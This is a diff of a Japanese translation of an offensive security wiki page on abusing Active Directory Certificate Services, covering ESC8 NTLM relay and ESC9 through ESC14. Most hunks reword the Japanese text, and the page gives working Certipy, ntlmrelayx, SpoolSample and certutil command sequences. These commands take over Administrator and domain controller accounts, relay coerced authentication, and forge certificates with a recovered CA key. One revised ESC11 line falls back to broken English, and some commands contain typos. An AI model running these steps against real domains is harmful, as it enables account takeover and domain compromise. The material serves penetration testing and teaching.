@ -408,13 +405,13 @@ NTLM relay 攻撃のもう一つの制約は、**攻撃者が制御するマシ
|
||||
|
||||
### **悪用**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**:
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` は **enabled HTTP AD CS endpoints** を列挙します:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
`msPKI-Enrollment-Servers` プロパティは、企業の Certificate Authorities (CAs) が Certificate Enrollment Service (CES) のエンドポイントを格納するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を使用して解析して一覧表示できます:
|
||||
`msPKI-Enrollment-Servers` プロパティは、企業の証明機関(CAs)が Certificate Enrollment Service(CES)エンドポイントを保存するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を使用して解析および一覧化できます:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
@ -425,7 +422,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
```
|
||||
<figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Certify を悪用する
|
||||
#### Certifyを使った悪用
|
||||
```bash
|
||||
## In the victim machine
|
||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||
@ -440,11 +437,11 @@ proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2sup
|
||||
# Force authentication from victim to compromised machine with port forwards
|
||||
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
|
||||
```
|
||||
#### [Certipy](https://github.com/ly4k/Certipy) を悪用
|
||||
#### [Certipy](https://github.com/ly4k/Certipy) を悪用する
|
||||
|
||||
証明書のリクエストは、デフォルトで Certipy が、アカウント名の末尾が `$` で終わるかどうかに応じて `Machine` または `User` テンプレートに基づいて行います。別のテンプレートを指定するには、`-template` パラメータを使用します。
|
||||
Certipy による証明書の要求はデフォルトでテンプレート `Machine` または `User` に基づいて行われ、リレーされるアカウント名が末尾に `$` が付くかどうかで決まります。代替テンプレートは `-template` パラメータで指定できます。
|
||||
|
||||
その後、[PetitPotam](https://github.com/ly4k/PetitPotam) のような技術を用いて認証を強制することができます。ドメインコントローラを扱う場合は、`-template DomainController` の指定が必要です。
|
||||
その後、[PetitPotam](https://github.com/ly4k/PetitPotam) のような手法を用いて認証を強制できます。ドメインコントローラーを扱う場合は、`-template DomainController` の指定が必要です。
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -461,51 +458,51 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
### 説明
|
||||
|
||||
新しい値 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) は **`msPKI-Enrollment-Flag`** のためのもので、ESC9 と呼ばれ、証明書に **新しい `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張** を埋め込むことを防ぎます。このフラグは `StrongCertificateBindingEnforcement` が `1`(デフォルト設定)のときに意味を持ち、`2` の設定とは対照的です。ESC9 が存在しない場合でも要件は変わらないため、Kerberos や Schannel のより弱い証明書マッピングが悪用され得るシナリオ(ESC10 の場合のように)では、その重要性が高まります。
|
||||
新しい値 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) は、**`msPKI-Enrollment-Flag`** のためのもので、ESC9と呼ばれ、証明書に**新しい `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張**を埋め込むことを防ぎます。このフラグは、`StrongCertificateBindingEnforcement` が `1`(デフォルト)に設定されている場合に関連性を持ち、`2` に設定されている場合とは対照的です。ESC9 がない場合でも要件は変わりませんが、Kerberos や Schannel の弱い証明書マッピングが悪用される可能性がある(ESC10 のような)シナリオでは、その重要性が増します。
|
||||
|
||||
このフラグの設定が重要になる条件は以下を含みます:
|
||||
このフラグの設定が重要になる条件は次のとおりです:
|
||||
|
||||
- `StrongCertificateBindingEnforcement` が `2` に設定されていない(デフォルトは `1`)、または `CertificateMappingMethods` に `UPN` フラグが含まれている。
|
||||
- `StrongCertificateBindingEnforcement` が `2` に調整されていない(デフォルトは `1`)か、または `CertificateMappingMethods` に `UPN` フラグが含まれている。
|
||||
- 証明書が `msPKI-Enrollment-Flag` 設定内で `CT_FLAG_NO_SECURITY_EXTENSION` フラグでマークされている。
|
||||
- 証明書に任意のクライアント認証 EKU が指定されている。
|
||||
- 別のアカウントを侵害するための GenericWrite 権限が任意のアカウントに対して存在する。
|
||||
- 証明書で任意のクライアント認証 EKU が指定されている。
|
||||
- 任意のアカウントに対して `GenericWrite` 権限があり、別のアカウントを侵害できる。
|
||||
|
||||
### 悪用シナリオ
|
||||
|
||||
例えば、`John@corp.local` が `Jane@corp.local` に対して `GenericWrite` 権限を持ち、`Administrator@corp.local` を侵害することを目的としているとします。`Jane@corp.local` が登録を許可されている `ESC9` 証明書テンプレートは、`msPKI-Enrollment-Flag` 設定で `CT_FLAG_NO_SECURITY_EXTENSION` フラグが設定されています。
|
||||
例えば `John@corp.local` が `Jane@corp.local` に対して `GenericWrite` 権限を持っており、`Administrator@corp.local` を侵害することを目的としているとします。`Jane@corp.local` が登録できる `ESC9` 証明書テンプレートは、`msPKI-Enrollment-Flag` 設定で `CT_FLAG_NO_SECURITY_EXTENSION` フラグが設定されています。
|
||||
|
||||
最初に、`John` の `GenericWrite` により、Shadow Credentials を使って `Jane` のハッシュが取得されます:
|
||||
最初に、`John` の `GenericWrite` により、Shadow Credentials を使用して `Jane` のハッシュが取得されます:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、`@corp.local`のドメイン部分は意図的に省略されます:
|
||||
その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、意図的に`@corp.local`のドメイン部分が省かれています:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
この変更は、`Administrator@corp.local` が引き続き `Administrator` の `userPrincipalName` として区別されているため、制約に違反しません。
|
||||
この変更は、`Administrator@corp.local` が `Administrator` の `userPrincipalName` として区別されたままであるため、制約に違反しません。
|
||||
|
||||
続いて、脆弱とマークされた `ESC9` 証明書テンプレートが `Jane` として要求されます:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
証明書の`userPrincipalName`が`Administrator`を反映しており、いかなる「オブジェクトSID」も含まれていないことが確認されます。
|
||||
証明書の `userPrincipalName` は `Administrator` を示しており、“object SID” は含まれていません。
|
||||
|
||||
その後、`Jane`の`userPrincipalName`は元の`Jane@corp.local`に戻される:
|
||||
`Jane` の `userPrincipalName` は元の `Jane@corp.local` に戻されます:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
発行された証明書で認証を試行すると、`Administrator@corp.local` の NT hash が取得されます。証明書にドメイン指定がないため、コマンドには `-domain <domain>` を含める必要があります:
|
||||
発行された証明書で認証を試行すると、現在 `Administrator@corp.local` の NT hash が取得されます。証明書にドメイン指定がないため、コマンドには `-domain <domain>` を含める必要があります:
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
## 脆弱な証明書マッピング - ESC10
|
||||
## Weak Certificate Mappings - ESC10
|
||||
|
||||
### 説明
|
||||
|
||||
ESC10 はドメインコントローラー上の 2 つのレジストリキー値を指します:
|
||||
ESC10 が指すドメインコントローラ上の 2 つのレジストリキー値:
|
||||
|
||||
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` の `CertificateMappingMethods` のデフォルト値は `0x18` (`0x8 | 0x10`) で、以前は `0x1F` に設定されていました。
|
||||
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` の `StrongCertificateBindingEnforcement` のデフォルト設定は `1` で、以前は `0` でした。
|
||||
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` の `CertificateMappingMethods` のデフォルト値は `0x18` (`0x8 | 0x10`)、以前は `0x1F` に設定されていました。
|
||||
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` の `StrongCertificateBindingEnforcement` のデフォルト設定は `1`、以前は `0` でした。
|
||||
|
||||
**ケース 1**
|
||||
|
||||
@ -519,63 +516,63 @@ ESC10 はドメインコントローラー上の 2 つのレジストリキー
|
||||
|
||||
`StrongCertificateBindingEnforcement` が `0` に設定されている場合、`GenericWrite` 権限を持つアカウント A は任意のアカウント B を侵害するために悪用できます。
|
||||
|
||||
例えば、`Jane@corp.local` に対して `GenericWrite` 権限を持つ場合、攻撃者は `Administrator@corp.local` を侵害することを狙えます。手順は ESC9 と同様で、任意の証明書テンプレートを利用できます。
|
||||
例えば、`Jane@corp.local` に対して `GenericWrite` 権限を持っている攻撃者が `Administrator@corp.local` を侵害することを狙う場合、手順は ESC9 と同様で、任意の certificate template を利用できます。
|
||||
|
||||
まず、`Jane` のハッシュは Shadow Credentials を使用して取得され、`GenericWrite` を悪用します。
|
||||
まず、`GenericWrite` を悪用して `Shadow Credentials` を使い、`Jane` の hash を取得します。
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、制約違反を避けるために`@corp.local`の部分は意図的に省略されています。
|
||||
その後、`Jane`の`userPrincipalName`は制約違反を回避するため、`@corp.local`の部分を意図的に省略して`Administrator`に変更されます。
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
これに続き、クライアント認証を有効にする証明書がデフォルトの `User` テンプレートを使用して `Jane` として要求されます。
|
||||
続いて、デフォルトの `User` テンプレートを使用して、クライアント認証を有効にする証明書が `Jane` として要求されます。
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
`Jane`の`userPrincipalName`はその後元の`Jane@corp.local`に戻されます。
|
||||
`Jane`の`userPrincipalName`は元の`Jane@corp.local`に戻されます。
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
取得した証明書で認証すると、`Administrator@corp.local` の NT hash が得られます。証明書にドメイン情報が含まれていないため、コマンドでドメインを指定する必要があります。
|
||||
取得した証明書で認証すると `Administrator@corp.local` の NT hash が得られます。証明書にドメイン情報が含まれていないため、コマンドでドメインを指定する必要があります。
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### 悪用ケース 2
|
||||
### Abuse Case 2
|
||||
|
||||
`CertificateMappingMethods` に `UPN` ビットフラグ(`0x4`)が含まれている場合、`GenericWrite` 権限を持つアカウント A は、`userPrincipalName` プロパティを持たない任意のアカウント B(マシンアカウントや組み込みのドメイン管理者 `Administrator` を含む)を侵害できます。
|
||||
`CertificateMappingMethods` に `UPN` ビットフラグ (`0x4`) が含まれている場合、`GenericWrite` 権限を持つアカウント A は、`userPrincipalName` プロパティを持たない任意のアカウント B(マシンアカウントや組み込みのドメイン管理者である `Administrator` を含む)を侵害できます。
|
||||
|
||||
ここでは、`GenericWrite` を利用して Shadow Credentials を介して `Jane` のハッシュを取得することから始め、`DC$@corp.local` を侵害することを目的とします。
|
||||
ここでは、`GenericWrite` を活用して Shadow Credentials を通じて `Jane` のハッシュを取得することから始め、`DC$@corp.local` を侵害することを目的とします。
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
`Jane`の`userPrincipalName`は次に`DC$@corp.local`に設定されます。
|
||||
`Jane`の`userPrincipalName`は`DC$@corp.local`に設定されます。
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
クライアント認証用の証明書が、デフォルトの `User` テンプレートを使用して `Jane` として要求されます。
|
||||
デフォルトの `User` テンプレートを使用して、`Jane` としてクライアント認証用の証明書が要求されます。
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
このプロセスの後、`Jane`の`userPrincipalName`は元の値に戻ります。
|
||||
`Jane`の`userPrincipalName`はこのプロセスの後、元に戻されます。
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
Schannel経由で認証するために、Certipyの`-ldap-shell`オプションを使用し、認証が成功すると`u:CORP\DC$`と表示されます。
|
||||
Schannel を介して認証するために、Certipy の `-ldap-shell` オプションが使用され、認証が成功すると `u:CORP\DC$` と表示されます。
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
LDAP shellを通じて、`set_rbcd` のようなコマンドは Resource-Based Constrained Delegation (RBCD) 攻撃を可能にし、ドメインコントローラーを危険にさらす可能性があります。
|
||||
LDAPシェルを通じて、`set_rbcd` のようなコマンドは Resource-Based Constrained Delegation (RBCD) 攻撃を可能にし、domain controller が侵害される可能性がある。
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
この脆弱性は、`userPrincipalName` が設定されていないユーザーアカウント、または `sAMAccountName` と一致しないアカウントにも及びます。デフォルトの `Administrator@corp.local` は LDAP の権限が高く、デフォルトで `userPrincipalName` が存在しないため、主要な標的となります。
|
||||
この脆弱性は `userPrincipalName` を欠く、または `sAMAccountName` と一致しない任意のユーザーアカウントにも及びます。デフォルトの `Administrator@corp.local` は、LDAP の特権が高く、デフォルトで `userPrincipalName` が存在しないため、主要な標的となります。
|
||||
|
||||
## Relaying NTLM to ICPR - ESC11
|
||||
|
||||
### Explanation
|
||||
### 説明
|
||||
|
||||
CA Server が `IF_ENFORCEENCRYPTICERTREQUEST` で構成されていない場合、RPC サービス経由で署名なしの NTLM relay attacks を許可してしまいます。 [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
`certipy` を使用して `Enforce Encryption for Requests` が Disabled かどうかを列挙でき、certipy は `ESC11` 脆弱性を表示します。
|
||||
```bash
|
||||
@ -615,29 +612,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
注意: ドメインコントローラの場合、DomainController では `-template` を指定する必要があります。
|
||||
注: ドメインコントローラーの場合、DomainController で `-template` を指定する必要があります。
|
||||
|
||||
または [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) を使用 :
|
||||
または、[sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
|
||||
```bash
|
||||
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
||||
```
|
||||
## YubiHSM による ADCS CA へのシェルアクセス - ESC12
|
||||
## Shell access to ADCS CA with YubiHSM - ESC12
|
||||
|
||||
### 説明
|
||||
|
||||
管理者は証明機関 (Certificate Authority) を "Yubico YubiHSM2" のような外部デバイスに格納するように設定できます。
|
||||
管理者は Certificate Authority を "Yubico YubiHSM2" のような外部デバイスに格納するように設定できます。
|
||||
|
||||
CA サーバーが USB ポート経由で USB デバイスに接続されている場合、あるいは CA サーバーが仮想マシンで USB デバイスサーバーを介して接続されている場合、Key Storage Provider が YubiHSM 内で鍵を生成・利用するために認証キー(しばしば "password" と呼ばれる)が必要です。
|
||||
CA サーバーに USB ポート経由で USB デバイスが接続されている場合、または CA サーバーが仮想マシンで USB device server を介して接続されている場合、Key Storage Provider が YubiHSM 内でキーを生成および利用するために認証キー(しばしば「password」と呼ばれる)が必要です。
|
||||
|
||||
このキー/password はレジストリの `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` に平文で保存されます。
|
||||
このキー/パスワードはレジストリの `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` にプレーンテキストで保存されます。
|
||||
|
||||
参照: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
|
||||
### 悪用シナリオ
|
||||
|
||||
もし CA の秘密鍵が物理的な USB デバイスに保存されている状態でシェルアクセスを得た場合、その鍵を回収することが可能です。
|
||||
CA の秘密鍵が物理的な USB デバイスに保存されており、あなたが shell access を得た場合、その鍵を回収することが可能です。
|
||||
|
||||
まず、CA 証明書(これは公開情報)を取得し、その後:
|
||||
まず、CA 証明書(これは公開情報です)を入手し、次に:
|
||||
```cmd
|
||||
# import it to the user store with CA certificate
|
||||
$ certutil -addstore -user my <CA certificate file>
|
||||
@ -645,15 +642,15 @@ $ certutil -addstore -user my <CA certificate file>
|
||||
# Associated with the private key in the YubiHSM2 device
|
||||
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
|
||||
```
|
||||
最後に、CA証明書とその秘密鍵を使って、certutil `-sign` コマンドで任意の新しい証明書を偽造します。
|
||||
最後に、certutil `-sign` コマンドを使って、CA 証明書とその秘密鍵を用いて任意の新しい証明書を偽造します。
|
||||
|
||||
## OID Group Link Abuse - ESC13
|
||||
|
||||
### 説明
|
||||
|
||||
`msPKI-Certificate-Policy` 属性は、発行ポリシーを証明書テンプレートに追加できるようにします。発行ポリシーを担う `msPKI-Enterprise-Oid` オブジェクトは、PKI OID コンテナの Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) に見つかります。ポリシーはこのオブジェクトの `msDS-OIDToGroupLink` 属性を使って AD グループにリンクでき、その結果、証明書を提示したユーザーをそのグループのメンバーであるかのようにシステムが認可できるようになります。 [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
`msPKI-Certificate-Policy` 属性は、証明書テンプレートに発行ポリシーを追加できるようにします。ポリシーの発行を担当する `msPKI-Enterprise-Oid` オブジェクトは、PKI OID コンテナの Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) で見つけることができます。ポリシーはこのオブジェクトの `msDS-OIDToGroupLink` 属性を使って AD グループにリンクでき、システムはその証明書を提示するユーザーをまるでそのグループのメンバーであるかのように認可できます。[Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
言い換えると、ユーザーが証明書を登録する権限を持ち、その証明書が OID グループにリンクされている場合、ユーザーはそのグループの権限を継承できます。
|
||||
つまり、ユーザーが証明書を登録する権限を持ち、その証明書が OID グループにリンクされている場合、ユーザーはそのグループの権限を継承できます。
|
||||
|
||||
OIDToGroupLink を見つけるには [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) を使用します:
|
||||
```bash
|
||||
@ -679,47 +676,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
```
|
||||
### 悪用シナリオ
|
||||
|
||||
使用できるユーザー権限を `certipy find` または `Certify.exe find /showAllPermissions` で探す。
|
||||
利用できるユーザー権限を見つけるには `certipy find` または `Certify.exe find /showAllPermissions` を使用する。
|
||||
|
||||
もし `John` が `VulnerableTemplate` への enroll(登録)権限を持っていれば、そのユーザーは `VulnerableGroup` グループの特権を引き継げる。
|
||||
もし `John` が `VulnerableTemplate` に enroll する権限を持っていれば、ユーザーは `VulnerableGroup` グループの権限を継承できる。
|
||||
|
||||
やることはテンプレートを指定するだけで、OIDToGroupLink 権限を持つ証明書を取得できる。
|
||||
テンプレートを指定するだけで、OIDToGroupLink 権限を持つ証明書が取得できる。
|
||||
```bash
|
||||
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
|
||||
```
|
||||
## 脆弱な証明書更新構成- ESC14
|
||||
## 脆弱な証明書更新構成 - ESC14
|
||||
|
||||
### 説明
|
||||
|
||||
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping の記述は非常に詳しいです。以下は元のテキストの引用です。
|
||||
説明は https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping に非常に詳しく記載されています。以下は元のテキストの引用です。
|
||||
|
||||
ESC14 は主に Active Directory のユーザーまたはコンピュータアカウント上の `altSecurityIdentities` 属性の誤用や安全でない構成から生じる「弱い explicit certificate mapping」に起因する脆弱性に対処します。この多値属性は、管理者が X.509 証明書を AD アカウントに手動で関連付けて認証に使用できるようにします。設定されている場合、これらの explicit mappings は通常、証明書の SAN にある UPN や DNS 名、または `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張に埋め込まれた SID に基づくデフォルトの証明書マッピングロジックを上書きすることがあります。
|
||||
ESC14 は主に Active Directory のユーザーまたはコンピュータアカウント上の `altSecurityIdentities` 属性の誤用や不適切な構成に起因する「弱い explicit certificate mapping」による脆弱性に対処します。この multi-valued 属性は、管理者が X.509 証明書を認証目的で AD アカウントに手動で紐付けることを可能にします。値が設定されると、これらの明示的なマッピングは通常、証明書の SAN 内の UPN や DNS 名、または `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張に埋め込まれた SID に基づくデフォルトの証明書マッピングロジックを上書きすることがあります。
|
||||
|
||||
「弱い」マッピングは、`altSecurityIdentities` 属性内で証明書を識別するために使用される文字列値が広すぎる、推測しやすい、ユニークでない証明書フィールドに依存している、あるいは簡単に偽造可能な証明書要素を使用している場合に発生します。攻撃者が特権アカウントのためにそのように弱く定義された explicit mapping に一致する属性を持つ証明書を入手または作成できる場合、その証明書を使ってそのアカウントとして認証し偽装することができます。
|
||||
「弱い」マッピングは、`altSecurityIdentities` 属性内で証明書を識別するために使用される文字列値が広すぎる、容易に推測可能である、一意でない証明書フィールドに依存している、または簡単に偽装可能な証明書コンポーネントを使用している場合に発生します。攻撃者が特権アカウントのそのような弱く定義された explicit mapping に一致する属性を持つ証明書を取得または作成できれば、その証明書を使ってそのアカウントとして認証・なりすましを行うことができます。
|
||||
|
||||
潜在的に弱い `altSecurityIdentities` マッピング文字列の例には次のようなものがあります:
|
||||
潜在的に弱い `altSecurityIdentities` マッピング文字列の例には以下が含まれます:
|
||||
|
||||
- 一般的な Subject Common Name (CN) のみでマッピングする: 例 `X509:<S>CN=SomeUser`。攻撃者はこの CN を持つ証明書をより安全でないソースから入手できる可能性があります。
|
||||
- 特定のシリアル番号や subject key identifier のような追加の限定がない、過度に一般的な Issuer Distinguished Name (DN) や Subject DN を使用する: 例 `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`。
|
||||
- 攻撃者が合法的に入手または偽造(CA を侵害した、または ESC1 のような脆弱なテンプレートを見つけた場合)できる証明書で満たせるような、予測可能なパターンや非暗号学的識別子を使用する。
|
||||
- 共通 Subject Common Name (CN) のみでマッピングする:例 `X509:<S>CN=SomeUser`。攻撃者はこの CN を持つ証明書をよりセキュアでないソースから入手できる可能性があります。
|
||||
- シリアル番号や subject key identifier のような追加の限定がない過度に一般的な Issuer Distinguished Name (DN) や Subject DN の使用:例 `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`。
|
||||
- 攻撃者が正当に入手または偽造できる(CA を侵害したり ESC1 のような脆弱なテンプレートを見つけた場合など)証明書で満たせる、予測可能なパターンや非暗号的識別子の使用。
|
||||
|
||||
`altSecurityIdentities` 属性はマッピングのために様々な形式をサポートします。例:
|
||||
`altSecurityIdentities` 属性はマッピングに対して様々な形式をサポートしています。例えば:
|
||||
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (完全な Issuer と Subject DN でマップ)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (証明書の Subject Key Identifier 拡張値でマップ)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (シリアル番号でマップ、暗黙的に Issuer DN で限定) - 通常の形式ではなく、通常は `<I>IssuerDN<SR>SerialNumber` です。
|
||||
- `X509:<RFC822>EmailAddress` (SAN の RFC822 名、通常はメールアドレスでマップ)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (証明書の生の公開鍵の SHA1 ハッシュでマップ - 一般的に強力)
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (Issuer および Subject の完全な DN によってマッピング)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (証明書の Subject Key Identifier 拡張値によってマッピング)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (シリアル番号でマッピング、暗黙的に Issuer DN によって限定される)- これは標準形式ではなく、通常は `<I>IssuerDN<SR>SerialNumber` のようになります。
|
||||
- `X509:<RFC822>EmailAddress` (SAN の RFC822 名、通常はメールアドレスによってマッピング)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (証明書の生の公開鍵の SHA1 ハッシュでマッピング - 一般に強力)
|
||||
|
||||
これらのマッピングの安全性は、マッピング文字列で使用される証明書識別子の具体性、一意性、暗号学的強度に大きく依存します。Domain Controllers 上で強力な証明書バインディングモードが有効であっても(これは主に SAN の UPN/DNS と SID 拡張に基づく暗黙のマッピングに影響します)、`altSecurityIdentities` のエントリが不適切に構成されていると、マッピングロジック自体が脆弱または許容的すぎる場合に偽装の直接的な経路を提供する可能性があります。
|
||||
これらのマッピングのセキュリティは、マッピング文字列で選択される証明書識別子の特異性、一意性、および暗号学的強度に大きく依存します。Domain Controllers 上で強力な certificate binding モードが有効になっていても(これは主に SAN の UPN/DNS や SID 拡張に基づく暗黙的マッピングに影響します)、`altSecurityIdentities` エントリが不適切に構成されていると、マッピングロジック自体が欠陥または過度に許容的である場合に直接的ななりすましの経路を提供する可能性があります。
|
||||
|
||||
### 悪用シナリオ
|
||||
### Abuse Scenario
|
||||
|
||||
ESC14 は Active Directory (AD) の **explicit certificate mappings**、特に `altSecurityIdentities` 属性を標的とします。この属性が設定されている(意図的または誤設定)場合、攻撃者はマッピングに一致する証明書を提示することでアカウントを偽装できます。
|
||||
ESC14 は Active Directory (AD) の explicit certificate mappings、特に `altSecurityIdentities` 属性を標的とします。この属性が設定されている(設計上または誤設定で)場合、攻撃者はマッピングに一致する証明書を提示することでアカウントになりすますことができます。
|
||||
|
||||
#### シナリオ A: 攻撃者が `altSecurityIdentities` に書き込み可能
|
||||
#### Scenario A: Attacker Can Write to `altSecurityIdentities`
|
||||
|
||||
前提: 攻撃者は対象アカウントの `altSecurityIdentities` 属性に書き込み権を持っている、または対象 AD オブジェクトに対して次のいずれかの権限を持つことでそれを付与できる。
|
||||
**前提条件**:攻撃者がターゲットアカウントの `altSecurityIdentities` 属性に書き込み権限を持っている、またはターゲット AD オブジェクトに対して以下のいずれかの権限を持つことでそれを付与できること:
|
||||
- Write property `altSecurityIdentities`
|
||||
- Write property `Public-Information`
|
||||
- Write property (all)
|
||||
@ -729,22 +726,23 @@ ESC14 は Active Directory (AD) の **explicit certificate mappings**、特に `
|
||||
- `GenericAll`
|
||||
- Owner*.
|
||||
|
||||
#### シナリオ B: 対象が X509RFC822 (メール) による弱いマッピングを持つ
|
||||
#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
|
||||
|
||||
- 前提: 対象が altSecurityIdentities に弱い X509RFC822 マッピングを持っている。攻撃者は被害者の mail 属性を対象の X509RFC822 名に一致させ、被害者として証明書を発行(enroll)し、その証明書を使って対象として認証できる。
|
||||
- **前提条件**:ターゲットが altSecurityIdentities に弱い X509RFC822 マッピングを持っている。攻撃者は被害者の mail 属性をターゲットの X509RFC822 名に一致させるよう設定し、被害者として証明書を登録(enroll)して、その証明書を使ってターゲットとして認証することができる。
|
||||
|
||||
#### シナリオ C: 対象が X509IssuerSubject マッピングを持つ
|
||||
#### Scenario C: Target Has X509IssuerSubject Mapping
|
||||
|
||||
- 前提: 対象が `altSecurityIdentities` に弱い X509IssuerSubject explicit mapping を持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性を、対象の X509IssuerSubject マッピングの subject に一致するように設定できる。次に、攻撃者は被害者として証明書を発行し、この証明書を使って対象として認証できる。
|
||||
- **前提条件**:ターゲットが `altSecurityIdentities` に弱い X509IssuerSubject 明示的マッピングを持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性をターゲットの X509IssuerSubject マッピングの subject に一致させるよう設定できる。次に、攻撃者は被害者として証明書を登録し、この証明書を使ってターゲットとして認証できる。
|
||||
|
||||
#### シナリオ D: 対象が X509SubjectOnly マッピングを持つ
|
||||
#### Scenario D: Target Has X509SubjectOnly Mapping
|
||||
|
||||
- 前提: 対象が `altSecurityIdentities` に弱い X509SubjectOnly explicit mapping を持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性を、対象の X509SubjectOnly マッピングの subject に一致するように設定できる。次に、攻撃者は被害者として証明書を発行し、この証明書を使って対象として認証できる。
|
||||
